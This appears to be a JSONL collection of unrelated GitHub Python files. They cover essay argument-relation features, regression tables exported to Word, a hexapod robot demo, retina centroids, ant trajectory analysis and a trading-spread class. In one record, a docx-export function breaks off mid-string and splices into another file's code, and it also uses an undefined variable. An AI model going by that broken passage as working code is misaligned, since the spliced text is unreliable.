\"num_shared_nouns\":0, # default is none \n # source or target is first or last in paragraph \n \"first_or_last\": 0 # default is none \n }\n \n if self.is_training_data: \n if self.idx_to_name[j] in self.relations[self.idx_to_name[i]]: \n # print(self.idx_to_name[i], self.idx_to_name[j])\n # print(f\"{i+1},{j+1}\")\n self.pairwise[f\"{i+1},{j+1}\"][\"is_a_relation\"] = 1 \n\n self.pairwise[f\"{i+1},{j+1}\"].update(self.get_indicator_info(source,target))\n \n # get binary POS distribution with the POS distribution of the target \n for pos_type in pos.keys():\n self.pairwise[f\"{i+1},{j+1}\"][pos_type] = source[pos_type] + target[pos_type]\n\n # source and target are present in the same sentence\n if source[\"sentence\"] == target[\"sentence\"]: \n self.pairwise[f\"{i+1},{j+1}\"][\"same_sentence\"] = 1 # true \n \n # target is present before source \n if source[\"start\"] > target[\"start\"]: \n self.pairwise[f\"{i+1},{j+1}\"][\"target_before_source\"] = 1 # true \n \n # if target and source are first or last component in paragraph \n if source[\"first/last\"] or target[\"first/last\"]: \n self.pairwise[f\"{i+1},{j+1}\"][\"first_or_last\"] = 1 \n \n # find shared nouns (both binary and number)\n shared_nouns = []\n for idx, lemma in enumerate(source[\"component_lemmas\"]):\n if \"NN\" in source[\"component_pos\"][idx]: \n if lemma in target[\"component_lemmas\"]:\n shared_nouns.append(lemma)\n if len(shared_nouns) > 0: \n self.pairwise[f\"{i+1},{j+1}\"][\"share_noun\"] = 1\n self.pairwise[f\"{i+1},{j+1}\"][\"num_shared_nouns\"] = len(shared_nouns)\n\n # count how many times a production rule is shared by source and target \n self.pairwise[f\"{i+1},{j+1}\"].update(self.shared_production_rules(source,target))\n \n # get binary discourse triples of source and target \n self.pairwise[f\"{i+1},{j+1}\"].update(self.get_discourse_triples(source,target))\n\n # get pmi features \n self.pairwise[f\"{i+1},{j+1}\"].update(self.get_pmi_features(source,target))\n # get binary representation of the types of indicators that occur in and around \n # components between source and target \n self.get_indicators_between()\n\n # print for testing purposes \n # for pair,info in self.pairwise.items(): \n # # if pair[0] > 1: break\n # if info[\"is_a_relation\"]: \n # print(f\"{self.idx_to_name[pair[0]]} to {self.idx_to_name[pair[1]]}: {info}\\n\")\n # break\n \n def get_indicator_info(self,source,target):\n info = {}\n for type in INDICATOR_TYPES: \n component_key = f\"component_{type}_indicators\"\n if source[component_key] == 1 or target[component_key] == 1: \n # this indicator type is present in source or target \n info[component_key] = 1 \n else: \n # this indicator type is not present in source or target \n info[component_key] = 0 \n for context in [\"preceding\",\"following\"]: \n context_key = f\"{context}_{type}_indicators\"\n if source[context_key] == 1 or target[context_key] == 1:\n # this indicator type is present in the context of either source or target \n info[f\"context_{type}_indicators\"] = 1 \n else: \n # this indicator type is not present in the context of either source or target \n info[f\"context_{type}_indicators\"] = 0 \n return info\n\n def get_indicators_between(self):\n for pair in self.pairwise.keys(): \n s,t = int(pair.split(\",\")[0])-1, int(pair.split(\",\")[1])-1\n p_idx = self.components[s][\"paragraph\"]\n for type in INDICATOR_TYPES: \n key = f\"{type}_indicators\"\n self.pairwise[pair][f\"between_{key}\"] = 0\n \n for c in self.components_per_paragraph[p_idx]: \n # find a component that is between source and target \n # check if any of the four types of indicators occur in this component or its context \n if min(s,t) < c < max(s,t):\n for type in INDICATOR_TYPES: \n for location in [\"component\",\"preceding\",\"following\"]: \n key = f\"{type}_indicators\"\n if self.components[c][f\"{location}_{key}\"] == 1: \n self.pairwise[pair][f\"between_{key}\"] = 1 \n\n def shared_production_rules(self,source,target): \n info = { rule: 0 for rule, freq in self.production_rules_500_most_common}\n for rule in source[\"production_rules\"]: \n if rule in target[\"production_rules\"]: \n info[f\"{rule}\"] += 1 \n return info \n \n def get_discourse_triples(self,source,target): \n info = {}\n for relation in DISCOURSE_RELATIONS: \n for arg in [\"Arg1\",\"Arg2\"]:\n for type in [\"Explicit\",\"Implicit\"]: \n key = f\"{relation}_{arg}_{type}\"\n info[key] = source[key] + target[key]\n return info\n \n def get_pmi_features(self,source,target): \n info = {\n \"presence_positive_associations\":0, # default is false \n \"presence_negative_associations\":0, # default is false \n } \n positive, negative = 0,0 \n total = len(source[\"component_lemmas\"]) + len(target[\"component_lemmas\"])\n for direction in [\"incoming\",\"outgoing\"]: \n for lemma_pmi in source[f\"pmi_{direction}\"]: \n if lemma_pmi > 0: \n positive += 1 \n elif lemma_pmi < 0: \n negative += 1 \n info[\"ratio_positive_associations\"] = positive / total\n info[\"ratio_negative_associations\"] = negative / total \n if positive > 0: \n info[\"presence_positive_associations\"] = 1 \n if negative > 0: \n info[\"presence_negative_associations\"] = 1 \n return info\n\n# if __name__=='__main__':\n\n# essay_names = []\n# with open(f\"CS333AES/stab/assets/train_text.txt\",\"r\") as file: \n# for line in file.readlines(): \n# essay_names.append(line.split(\"-final/\")[1].strip(\"\\n\"))\n\n# for essay_name in essay_names: \n# # read component data for this essay \n# with open(f'CS333AES/stab/outputs/classification/{essay_name}.json') as file: \n# components = json.load(file)\n# # relation information for each essay \n# relation_info_file = \"CS333AES/stab/models/argument_relation_info.json\"\n# # relation probabilities \n# relation_prob_file = \"CS333AES/stab/models/relation_probabilities.json\"\n# # lemma information for components of training data \n# lemma_file = \"CS333AES/stab/models/training_data_lemmas.json\"\n# # run argument relation features extraction \n# argrelation = ArgumentRelationIdentification(essay_name, components,relation_prob_file,lemma_file,relation_info_file)\n# with open(f\"CS333AES/stab/outputs/relations/{essay_name}.json\", \"w\") as file:\n# json.dump(argrelation.pairwise, file)\n# print(essay_name)\n","repo_name":"KevinPHX/CS333AES","sub_path":"stab/lib/argument_relations.py","file_name":"argument_relations.py","file_ext":"py","file_size_in_byte":13096,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
+{"seq_id":"19450374887","text":"#-*- coding: UTF-8 -*-\n\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import r2_score\nfrom sklearn.model_selection import train_test_split\n\nimport datetime\nfrom functools import reduce\nimport re\nimport textwrap\nimport seaborn as seabornInstance\nimport matplotlib.pyplot as plt\n\nimport statsmodels.api as sm\nfrom statsmodels.iolib import summary,table\nfrom statsmodels.iolib.table import SimpleTable\nfrom statsmodels.iolib.tableformatting import fmt_latex, fmt_txt\nfrom statsmodels.iolib.summary2 import _make_unique,_col_info,summary_params,Summary\nfrom statsmodels.compat.python import lzip\n\nimport docx\nfrom docx.shared import Inches,Cm,Pt\nfrom docx.enum.text import WD_ALIGN_PARAGRAPH\nfrom docx.enum.table import WD_TABLE_ALIGNMENT\n\nimport sys, dateutil.parser, time, math, requests, re, json, os\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime as dt\nfrom collections import defaultdict\nfrom bson import json_util\nfrom bson.json_util import loads\n\n#資料處理轉換\nclass NpEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, np.integer):\n return int(obj)\n elif isinstance(obj, np.floating):\n return float(obj)\n elif isinstance(obj, np.ndarray):\n return obj.tolist()\n else:\n return super(NpEncoder, self).default(obj)\n\ndef stdtime(daytime):\n get=dateutil.parser.parse(daytime)\n return get\n\n# 2021.3.17 Lin修改interval,intervals\ndef interval(start_time,end_time,freq):\n data = pd.date_range(start=start_time,end=end_time,freq=freq)\n data = pd.DataFrame(data,columns=['stdtime'])\n data[freq]=1\n return data\n\ndef intervals(start_time,end_time,freq_list):\n data = pd.date_range(start=start_time,end=end_time,freq=\"1s\")\n data = pd.DataFrame(data,columns=['stdtime'])\n for sec in freq_list:\n final = data[[\"stdtime\"]].set_index(\"stdtime\").resample(sec,origin=\"start\").ffill().reset_index().rename(columns={\"index\":\"stdtime\"})\n final[sec]=1\n data = pd.merge(data,final,on=\"stdtime\",how=\"left\")\n data[sec] = data[sec].fillna(0).astype(int)\n return data\n\ndef lag(title,phase,data):\n for p in phase:\n df=data[title].shift(p)\n for t in title:\n df.rename(columns={t:\"lag\"+str(p)+\"_\"+t},inplace=True)\n data = pd.concat([data,df],axis=1)\n data = data.dropna().reset_index(drop=True)\n return data\n\n#計算敘述統計\ndef status(data):\n data = pd.DataFrame([data.sum(),data.count(),data.min(),data.idxmin(),data.quantile(.25),data.median(),\n data.quantile(.75),data.mean(),data.max(),data.idxmax(),data.mad(),data.var(),\n data.std(),data.skew(),data.kurt()],index=['加總','總数','最小值','最小值位置','25%分位数',\n '中位数','75%分位数','均值','最大值','最大值位数','平均絕對偏差','方差','標準差','偏度','峰度'])\n return data\n\n\n# 21.03.30 Cao 新增 OLS回归def\n# 回归OLS部分 _col_params()和summary_col()函数共同使用\n\n# %f ——保留小数点后面六位有效数字,%.3f,保留3位小数位\n# %e ——保留小数点后面六位有效数字,指数形式输出,%.3e,保留3位小数位,使用科学计数法\n# %g ——在保证六位有效数字的前提下,使用小数方式,否则使用科学计数法,%.3g,保留3位有效数字,使用小数或科学计数法\ndef _col_params(result, \n float_format_t='%.4f',\n float_format_coef='%.2f',\n float_format_adjr='%.2f',\n stars=True):\n\n # Extract parameters\n res = summary_params(result)\n # Format float\n res['Coef.'] = res['Coef.'].apply(lambda x: float_format_coef % x)\n res['t'] = res['t'].apply(lambda x: float_format_t % x)\n# for col in res.columns[:3]:\n# res[col] = res[col].apply(lambda x: float_format % x)\n # Std.Errors in parentheses\n res.iloc[:, 2] = '(' + res.iloc[:, 2] + ')'\n # Significance stars\n if stars:\n idx = res.iloc[:, 3] < .1\n res.loc[idx, res.columns[0]] = res.loc[idx, res.columns[0]] + '*'\n idx = res.iloc[:, 3] < .05\n res.loc[idx, res.columns[0]] = res.loc[idx, res.columns[0]] + '*'\n idx = res.iloc[:, 3] < .01\n res.loc[idx, res.columns[0]] = res.loc[idx, res.columns[0]] + '*'\n # Stack Coefs and Std.Errors\n res = res.iloc[:, [0,2]]\n res = res.stack()\n rsquared = getattr(result, 'rsquared', np.nan)\n rsquared_adj = getattr(result, 'rsquared_adj', np.nan)\n r2 = pd.Series({('R-squared', \"\"): rsquared,\n ('R-squared Adj.', \"\"): rsquared_adj})\n\n if r2.notnull().any():\n r2 = r2.apply(lambda x: float_format_adjr % x)\n res = pd.concat([res, r2], axis=0)\n res = pd.DataFrame(res)\n res.columns = [str(result.model.endog_names)]\n return res\n\n\n\ndef summary_col(results,\n float_format_t='%.4f',\n float_format_coef='%.2f',\n float_format_adjr='%.2f',\n model_names=(),\n stars=False,\n info_dict=None, regressor_order=(), drop_omitted=False):\n # sample\n # y = df['nft']\n # x = df[['epm',\"volt\",\"lnvol\",\"relative_spread\"]] \n # x1 = sm.add_constant(x)\n # est = sm.OLS(y, x1).fit()\n # a = summary_col([est,est],stars=True,float_format_t='%0.2f',float_format_coef='%0.4f',float_format_adjr='%0.2f')\n\n \n if not isinstance(results, list):\n results = [results]\n\n cols = [_col_params(x, stars=stars, float_format_t=float_format_t,float_format_coef=float_format_coef,float_format_adjr=float_format_adjr) for x in\n results]\n\n # Unique column names (pandas has problems merging otherwise)\n if model_names:\n colnames = _make_unique(model_names)\n else:\n colnames = _make_unique([x.columns[0] for x in cols])\n for i in range(len(cols)):\n cols[i].columns = [colnames[i]]\n\n def merg(x, y):\n return x.merge(y, how='outer', right_index=True,\n left_index=True)\n\n summ = reduce(merg, cols)\n\n if regressor_order:\n varnames = summ.index.get_level_values(0).tolist()\n vc = pd.Series(varnames).value_counts()\n varnames = vc.loc[vc == 2].index.tolist()\n ordered = [x for x in regressor_order if x in varnames]\n unordered = [x for x in varnames if x not in regressor_order]\n new_order = ordered + unordered\n other = [x for x in summ.index.get_level_values(0)\n if x not in new_order]\n new_order += other\n if drop_omitted:\n for uo in unordered:\n new_order.remove(uo)\n summ = summ.loc[new_order]\n\n idx = []\n index = summ.index.get_level_values(0)\n for i in range(0, index.shape[0], 2):\n idx.append(index[i])\n if (i + 1) < index.shape[0] and (index[i] == index[i + 1]):\n idx.append(\"\")\n else:\n idx.append(index[i + 1])\n summ.index = idx\n\n # add infos about the models.\n if info_dict:\n cols = [_col_info(x, info_dict.get(x.model.__class__.__name__,\n info_dict)) for x in results]\n else:\n cols = [_col_info(x, getattr(x, \"default_model_infos\", None)) for x in\n results]\n # use unique column names, otherwise the merge will not succeed\n for df, name in zip(cols, _make_unique([df.columns[0] for df in cols])):\n df.columns = [name]\n\n def merg(x, y):\n return x.merge(y, how='outer', right_index=True,\n left_index=True)\n\n info = reduce(merg, cols)\n dat = pd.DataFrame(np.vstack([summ, info])) # pd.concat better, but error\n dat.columns = summ.columns\n dat.index = pd.Index(summ.index.tolist() + info.index.tolist())\n \n dat =dat.drop(index=[\"R-squared\"])\n dat = dat.reset_index()\n return dat\n\n# 输出回归为docx格式\ndef output_docx(dataframe,output_name):\n # 表格样式固定为\"Light Shading\" 样式详见 http://www.voidcn.com/article/p-weenhbxd-bqy.html\n # Sample\n # output_docx(a,path+\"a.docx\")\n doc = docx.Document()\n \n style = doc.styles['Normal']\n font = style.font\n font.name = 'Times New Roman' # 字体\n font.size = Pt(14) # 文字大小\n\n # 按照行列添加表格\n t = doc.add_table(dataframe.shape[0]+1, dataframe.shape[1],style=\"Light Shading\")\n \n # 表头\n for j in range(dataframe.shape[-1]):\n t.cell(0,j).text = dataframe.columns[j]\n t.cell(0,j).paragraphs[0].paragraph_format.alignment = WD_TABLE_ALIGNMENT.CENTER #居中对齐\n t.cell(0,j).paragraphs[0].paragraph_format.space_before=Pt(4) #上行间距\n t.cell(0,j).paragraphs[0].paragraph_format.space_after=Pt(4) #下行间距\n\n # 表身\n for i in range(dataframe.shape[0]):\n for j in range(dataframe.shape[-1]):\n t.cell(i+1,j).text = str(dataframe.values[i,j])\n t.cell(i+1,j).paragraphs[0].paragraph_format.alignment = WD_TABLE_ALIGNMENT.CENTER\n t.cell(i+1,j).paragraphs[0].paragraph_format.space_before=Pt(4)\n t.cell(i+1,j).paragraphs[0].paragraph_format.space_after=Pt(4)\n\n # 表格行高\n t.rows[0].height=Pt(30)\n for i in range(1,len(a)+1):\n t.rows[i].height=Pt(20) \n \n p = doc.add_paragraph()\n run=p.add_run('t-value in parentheses.')\n run.font.name = 'Times New Roman'\n run.font.size = Pt(16)\n p.alignment = WD_ALIGN_PARAGRAPH.CENTER\n p.paragraph_format.space_before=Pt(20)\n p.paragraph_format.space_after=Pt(0)\n \n p = doc.add_paragraph()\n run=p.add_run('* 1.65 xs[0]) else 1\n amp = mul*(ys[-1]-ys[0])\n ofs = np.max(ys) if (amp < 0) else np.min(ys)\n return dict(\n dispscale=1.0, n=0,\n amp=amp, ofs=ofs,\n )","repo_name":"qcrew-lab/qcrew","sub_path":"qcrew/analyze/fit_funcs/displacement_cal.py","file_name":"displacement_cal.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
+{"seq_id":"28533028075","text":"import math\nimport time\nfrom interbotix_xs_modules.hexapod import InterbotixHexapodXS\n\n# This script makes the hexapod body move up and down for approximately 20 seconds\n#\n# To get started, open a terminal and type 'roslaunch interbotix_xshexapod_control xshexapod_control.launch robot_model:=pxmark4'\n# Then change to this directory and type 'python push_ups.py'\n\ndef main():\n bot = InterbotixHexapodXS('pxmark4')\n bot.hex.move_in_place(z=0.08)\n for step in range(500):\n z = 0.08 + 0.05 * math.sin(math.pi * step/25.0)\n bot.hex.move_in_place(z=z, moving_time=0.15, blocking=False)\n time.sleep(0.04)\n bot.hex.reset_hexapod('sleep')\n\nif __name__=='__main__':\n main()\n","repo_name":"Interbotix/interbotix_ros_crawlers","sub_path":"interbotix_ros_xshexapods/examples/python_demos/push_ups.py","file_name":"push_ups.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"68"}
+{"seq_id":"9517523058","text":"'''The code takes different centroids for the same particle on different 2D slices\n and create 1 single centroid for the particle in 3D.\n It saves it in a final CSV file that contains number of the particle and coordinates of each centroid.\n'''\n\nimport os\nimport pandas as pd\nimport sys\n\nname_of_retina = sys.argv[1] #'retina1' #\nuniversel_path = sys.argv[2]\n\nprint('We are Detecting only one centroid for', name_of_retina)\n\n# Read the centroids from the original CSV file\ncsv_file = universel_path + name_of_retina + '/3D_images/MyCentroids.csv'\n\ndf = pd.read_csv(csv_file)\n\n# Prepare the output CSV file\ncsv_out_file = universel_path + name_of_retina + '/3D_images/My_one_time_Centroids.csv'\nif os.path.exists(csv_out_file):\n os.remove(csv_out_file)\n print(\"Existing file deleted.\")\nelse:\n print(\"File does not exist.\")\nmy_header = True\n\n# Iterate over unique labels\nmy_label_list = df['label'].unique()\nfor label in my_label_list:\n # Filter the DataFrame for the current label\n resu = df.loc[df['label'] == label]\n\n # Calculate the centroid coordinates\n centroid_img_idx = resu.iloc[int(len(resu) / 2), 0]\n moyx = resu['x_coord'].mean()\n moyy = resu['y_coord'].mean()\n\n # Create a new DataFrame for the centroid\n new_df = pd.DataFrame({'image_idx': [str(centroid_img_idx).zfill(4) + '.png'],\n 'label': [label],\n 'y_coord': [int(moyy)],\n 'x_coord': [int(moyx)]})\n\n # Append the centroid information to the output CSV file\n new_df.to_csv(csv_out_file, mode='a', header=my_header, index=False)\n my_header = False\n\n\n\n","repo_name":"Mellak/Toolbox-for-the-analysis-of-3D-OCT-images-of-murine-retina","sub_path":"StatisticalAnalysis/Extracting_Centroids/Extract_only_1_cenctroid_4Paper.py","file_name":"Extract_only_1_cenctroid_4Paper.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"40661770020","text":"from trajectory_inheritance.trajectory_sep_into_states import Traj_sep_by_state\nfrom trajectory_inheritance.get import get\nfrom tqdm import tqdm\nimport pandas as pd\nfrom Directories import network_dir, home\nimport os\nfrom DataFrame.import_excel_dfs import dfs_human, dfs_ant\nimport json\nfrom Analysis.Efficiency.PathLength import PathLength\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom colors import colors_state\n\nstates = {'ab', 'ac', 'b', 'be', 'b1', 'b2', 'c', 'cg', 'e', 'eb', 'eg', 'f', 'g', 'h'}\ncolumns = ['filename', 'size', 'solver', 'state', 'turning radius (norm by 2 pi)'] # 'turning radius (norm by 2 pi)' = accumulated rotation\nplt.rcParams.update({'font.size': 22, 'font.family': 'Times New Roman'})\n\n\nclass BackRoomTurning:\n def __init__(self, unique_states: list):\n self.unique_states = unique_states\n\n def plot(self, df_size, ax):\n # plot results in columns 'turning radius (norm by 2 pi)' in a histogram\n if solver == 'human':\n limits = [[0, 1], [0, 1]]\n elif solver == 'ant':\n limits = [[0, 3], [0, 3]]\n\n c_states = {\"['ab']\": colors_state['ab'],\n \"['ac', 'ab']\": colors_state['ac']}\n\n for (states, df_state_size), lim in zip(df_size.groupby('state'), limits):\n theta = df_state_size['turning radius (norm by 2 pi)']\n ax.hist(theta, range=lim, bins=40,\n color=c_states[states], label=states, alpha=0.5, density=True)\n ax.set_xlabel('accumulated rotation (norm by 2 pi)')\n ax.set_ylabel('count')\n ax.legend()\n ax.set_title(f'{solver} {size}')\n ax.set_xlim(*lim)\n\n @staticmethod\n def to_list(string: str):\n return [eval(x) for x in string.strip('][').split(', ') if len(x) > 0]\n\n def calc_turning_angle(self, df) -> pd.DataFrame:\n new_results = pd.DataFrame(columns=columns)\n for filename in tqdm(df['filename']):\n x = get(filename)\n print(x.filename)\n\n ts = time_series_dict[x.filename]\n ts_extended = Traj_sep_by_state.extend_time_series_to_match_frames(ts, x)\n traj_parts = Traj_sep_by_state(x, ts_extended).get_states(wanted_states=self.unique_states)\n\n for traj_part in traj_parts:\n d_theta = PathLength(traj_part).rotational_distance(norm=False)\n print(filename, round(d_theta / (2 * np.pi), 3), list(set(traj_part.states)))\n d = {'filename': filename, 'size': x.size, 'solver': x.solver,\n 'state': list(set(traj_part.states)),\n 'turning radius (norm by 2 pi)': round(d_theta / (2 * np.pi), 3),\n }\n new_results = new_results.append(d, ignore_index=True)\n return new_results\n\n def calc_turning_angle_intermediate(self, df) -> pd.DataFrame:\n new_results = pd.DataFrame(columns=columns)\n for filename in tqdm(df['filename']):\n # if filename == 'M_SPT_5050016_MSpecialT_1':\n x = get(filename)\n print(x.filename)\n\n ts = time_series_dict[x.filename]\n ts_extended = Traj_sep_by_state.extend_time_series_to_match_frames(ts, x)\n x.smooth(sec_smooth=1)\n traj_parts = Traj_sep_by_state(x, ts_extended).get_states(wanted_states=self.unique_states)\n traj_parts = [t.split_at_directional_change_in_turning() for t in traj_parts]\n traj_parts = [item for sublist in traj_parts for item in sublist]\n\n for traj_part in tqdm(traj_parts, desc=filename):\n d_theta = PathLength(traj_part).rotational_distance(norm=False, smooth=False)\n print(filename, round(d_theta / (2 * np.pi), 3), list(set(traj_part.states)))\n d = {'filename': filename, 'size': x.size, 'solver': x.solver,\n 'state': list(set(traj_part.states)),\n 'turning radius (norm by 2 pi)': round(d_theta / (2 * np.pi), 3),\n }\n new_results = new_results.append(d, ignore_index=True)\n return new_results\n\n\nif __name__ == '__main__':\n with open(os.path.join(network_dir, 'time_series_selected_states.json'), 'r') as json_file:\n time_series_dict = json.load(json_file)\n json_file.close()\n unique_s = ['ab', 'ac']\n brt = BackRoomTurning(unique_states=unique_s)\n\n fig, axs = plt.subplots(2, 5, figsize=(25, 8))\n\n # new_results.to_excel(directory)\n for solver, dfs, ax in [['ant', dfs_ant, axs[0]], ['human', dfs_human, axs[1]], ]:\n directory = os.path.join(home, 'Analysis', 'discretisation',\n 'overturning_in_ab_ac_' + solver + '_intermediate.xlsx')\n results = pd.read_excel(directory, usecols=columns)\n results['size'] = results['size'].replace('Small Far', 'Small')\n results['size'] = results['size'].replace('Small Near', 'Small')\n for (size, df_size), a in zip(dfs.items(), ax):\n # turning radius when in unique states\n # directory = os.path.join(home, 'Analysis', 'discretisation', 'overturning_in_ab_ac_humans.xlsx')\n # new_results = brt.calc_turning_angle(pd.concat(dfs_ant))\n # new_results.to_excel(directory)\n\n # turning radius when in unique states and turning in the same direction\n # new_results = brt.calc_turning_angle_intermediate(pd.concat(dfs))\n\n results_size = results[results['filename'].isin(df_size['filename'])]\n brt.plot(results_size, a)\n plt.tight_layout()\n plt.savefig('images\\\\turning_angle\\\\' + 'turning_angle.png')\n plt.savefig('images\\\\turning_angle\\\\' + 'turning_angle.pdf')\n plt.savefig('images\\\\turning_angle\\\\' + 'turning_angle.svg')\n # for size, df in dfs_human.items():\n # coords = e_p[e_p['size'] == size]['extremal point'].map(ExtremalPoints.to_list).tolist()\n #\n # extr_points = ExtremalPoints(coordinates=coords, unique_state=unique_s)\n # cs = ConfigSpace_Maze('human', size, 'SPT',\n # ('MazeDimensions_human.xlsx', 'LoadDimensions_human.xlsx'))\n # cs.visualize_space()\n # extr_points.plot_in_cs(cs)\n #\n # mlab.show()\n DEBUG = 1\n","repo_name":"TabeaHeckenthaler/AntsShapes","sub_path":"Analysis/discretisation/overturning_in_ab_ac.py","file_name":"overturning_in_ab_ac.py","file_ext":"py","file_size_in_byte":6345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"38253708919","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import metrics\n\n\ndef plot_roc_binary(true, score, path, name):\n for ix, (tr, sc) in enumerate(zip(true, score)):\n fpr, tpr, thresholds = metrics.roc_curve(tr, sc)\n plt.plot(fpr, tpr, label=f'Epoch {(ix + 1) * 10}')\n plt.xlabel('False positive rate')\n plt.ylabel('True positive rate')\n plt.title('ROC curve of ' + name)\n plt.legend(loc='best')\n plt.savefig(path)\n plt.show()\n\n\ndef plot_roc(roc, path, name):\n plt.plot(roc, label='ROC AUC')\n plt.legend(frameon=False)\n plt.ylabel('ROC AUC')\n plt.title('ROC AUC Score of ' + name)\n plt.xlabel('Epoch')\n plt.savefig(path)\n plt.show()\n\n\ndef plot_loss(train_loss, test_loss, path, name):\n plt.plot(train_loss, label='Training loss')\n plt.plot(test_loss, label='Validation loss')\n plt.legend(frameon=False)\n plt.ylabel('Loss')\n plt.xlabel('Epoch')\n plt.title(f'Loss of ' + name)\n plt.savefig(path)\n plt.show()\n\n\ndef plot_acc(train_acc, test_acc, path, name):\n plt.plot(train_acc, label='Training Acc')\n plt.plot(test_acc, label='Validation Acc')\n plt.legend(frameon=False)\n plt.ylabel('Percentage')\n plt.xlabel('Epoch')\n plt.title(f'Binary accuracy of ' + name)\n plt.savefig(path)\n plt.show()\n\n\ndef fill_labels(labels):\n labels = labels.reshape((len(labels), 1))\n for i in range(18):\n z = np.zeros((len(labels), 1))\n labels = np.append(labels, z, axis=1)\n return labels\n","repo_name":"stefanDeveloper/covid-19-neural-network","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"4416328106","text":"\"\"\"\nis_derivative.py\n\"\"\"\nimport logging\nimport traceback\n\nfrom settings import FULL_NAMESPACE\nfrom skyline_functions import get_redis_conn_decoded\n\n\n# @added 20220406 - Feature #4520: settings - ZERO_FILL_NAMESPACES\n# Feature #4518: settings - LAST_KNOWN_VALUE_NAMESPACES\ndef is_derivative(current_skyline_app, metric):\n \"\"\"\n Returns a dict of base_names that are no longer active in the data pipeline.\n\n :param current_skyline_app: the app calling the function\n :param namespace: the namespace to access for inactive metrics\n :type current_skyline_app: str\n :type namespace: str\n :return: inactive_metrics\n :rtype: list\n\n \"\"\"\n function_str = 'functions.metrics.is_derivative'\n current_skyline_app_logger = current_skyline_app + 'Log'\n current_logger = logging.getLogger(current_skyline_app_logger)\n\n try:\n redis_conn_decoded = get_redis_conn_decoded(current_skyline_app)\n except Exception as e:\n current_skyline_app_logger = current_skyline_app + 'Log'\n current_logger = logging.getLogger(current_skyline_app_logger)\n current_logger.error(traceback.format_exc())\n current_logger.error('error :: %s :: %s :: get_redis_conn_decoded failed - %s' % (\n current_skyline_app, function_str, e))\n return False\n\n derivative_metrics = []\n try:\n derivative_metrics = list(redis_conn_decoded.smembers('aet.metrics_manager.derivative_metrics'))\n except Exception as e:\n current_logger.error('error :: %s :: failed to connect to Redis for smembers of derivative_metrics - %s' % (\n function_str, e))\n derivative_metrics = []\n\n if not metric.startswith(FULL_NAMESPACE):\n metric = '%s%s' % (FULL_NAMESPACE, metric)\n\n if metric in derivative_metrics:\n return True\n\n return False\n","repo_name":"earthgecko/skyline","sub_path":"skyline/functions/metrics/is_derivative.py","file_name":"is_derivative.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":464,"dataset":"github-code","pt":"68"}
+{"seq_id":"35951857085","text":"from fastapi.encoders import jsonable_encoder\nfrom commons_telegram import *\nfrom respositories import *\nimport pandas as pd\nimport asyncio\nimport datetime\n\n\n\nclass AlgoSpread:\n def __init__(self,broker,userid):\n super().__init__()\n self.broker = broker\n self.userid = userid\n self.SpreadsRepository = None\n\n\n async def async_init(self):\n self.SpreadsRepository = await get_SpreadsRepository()\n return self\n\n def __await__(self):\n return self.async_init().__await__()\n\n async def get_spreads_strategy(self, strategy):\n try:\n spreads = await self.SpreadsRepository.fetch_by_strategy(strategy)\n if len(spreads) == 0:\n raise DataNotFoundException(f\"Spread data not found {strategy}\")\n # return [SpreadsSchemaOut(**record.__dict__) for record in spreads]\n return jsonable_encoder(spreads)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n async def get_spreads_strategy_status(self, strategy,status):\n try:\n spreads = await self.SpreadsRepository.fetch_by_strategy_status(strategy,status)\n if len(spreads) == 0:\n raise DataNotFoundException(f\"Spread data not found {strategy}\")\n # return [SpreadsSchemaOut(**record.__dict__) for record in spreads]\n return jsonable_encoder(spreads)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n async def get_spread(self, spreadid):\n try:\n spread_data = await self.SpreadsRepository.fetch_by_spreadid(spreadid)\n if spread_data is None:\n raise DataNotFoundException(f\"Spread data not found\")\n # return SpreadsSchemaOut(**spread_data.__dict__)\n return jsonable_encoder(spread_data)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n async def get_spreads_all(self):\n try:\n spreads = await self.SpreadsRepository.fetch_all()\n if len(spreads) == 0:\n raise DataNotFoundException(f\"Spread data not found\")\n\n # return [SpreadsSchemaOut(**record.__dict__) for record in spreads]\n return jsonable_encoder(spreads)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n async def calculate_margin(self, spread):\n pass\n\n async def update(self, spread):\n try:\n spread_data = await self.SpreadsRepository.update(spread)\n if spread_data is None:\n raise DataNotFoundException(f\"Spread data not found\")\n # return SpreadsSchemaOut(**spread_data.__dict__)\n return jsonable_encoder(spread_data)\n\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n async def delete(self, spreadid):\n try:\n spread_data = await self.SpreadsRepository.delete(spreadid)\n if spread_data is None:\n raise DataNotFoundException(f\"Spread data not found {spreadid}\")\n # return SpreadsSchemaOut(**spread_data.__dict__)\n return jsonable_encoder(spread_data)\n\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n async def create(self,spread):\n try:\n spread_data = await self.SpreadsRepository.create(spread)\n # return SpreadsSchemaOut(**spread_data.__dict__)\n return jsonable_encoder(spread_data)\n\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n async def create_credit_spread(self,signal):\n pass\n # leg1CreateOrder = CreateOrderSchema(strategy=\"string\",\n # exchange=\"NSE\",\n # segment=\"nse_cm\",\n # symbol=\"string\",\n # productType=\"CNC\",\n # orderType=\"L\",\n # orderPurpose=\"Entry\",\n # transactionType=\"B\",\n # quantity=0,\n # orderPrice=0,\n # triggerPrice=0,\n # validity=\"DAY\",\n # amo=\"NO\",\n # tag=\"\"\n # )\n 